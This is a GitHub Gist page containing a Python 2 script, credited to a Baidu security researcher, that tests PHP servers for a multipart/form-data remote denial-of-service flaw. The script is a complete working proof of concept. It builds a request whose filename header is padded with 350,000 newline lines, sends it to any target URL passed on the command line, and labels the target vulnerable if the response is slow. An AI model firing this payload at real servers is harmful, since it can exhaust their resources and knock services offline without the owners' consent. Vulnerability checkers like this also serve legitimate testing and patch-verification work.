Created
May 20, 2015 08:55
-
-
Save mengzhuo/c51f062b936ddf66a3f1 to your computer and use it in GitHub Desktop.
php_multipart-form-data_remote_dos_vulnerability_analysis_protection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Author: Shusheng Liu,The Department of Security Cloud, Baidu | |
email: [email protected] | |
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */ | |
''' | |
import urllib2 | |
import datetime | |
from optparse import OptionParser | |
def check_php_multipartform_dos(url,post_body,headers): | |
req = urllib2.Request(url) | |
for key in headers.keys(): | |
req.add_header(key,headers[key]) | |
starttime = datetime.datetime.now(); | |
fd = urllib2.urlopen(req,post_body) | |
html = fd.read() | |
endtime = datetime.datetime.now() | |
usetime=(endtime - starttime).seconds | |
if(usetime > 5): | |
result = url+" is vulnerable"; | |
else: | |
if(usetime > 3): | |
result = "need to check normal respond time" | |
return [result,usetime] | |
def main(): | |
parser = OptionParser() | |
parser.add_option("-t", "--target", action="store", | |
dest="target", | |
default=False, | |
type="string", | |
help="test target") | |
(options, args) = parser.parse_args() | |
if(options.target): | |
target = options.target | |
else: | |
return; | |
Num=350000 | |
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1', | |
'Accept-Encoding':'gzip, deflate', | |
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'} | |
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg" | |
payload="" | |
for i in range(0,Num): | |
payload = payload + "a\n" | |
body = body + payload; | |
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--" | |
print "starting..."; | |
respond=check_php_multipartform_dos(target,body,headers) | |
print "Result : " | |
print respond[0] | |
print "Respond time : "+str(respond[1]) + " seconds"; | |
if __name__=="__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment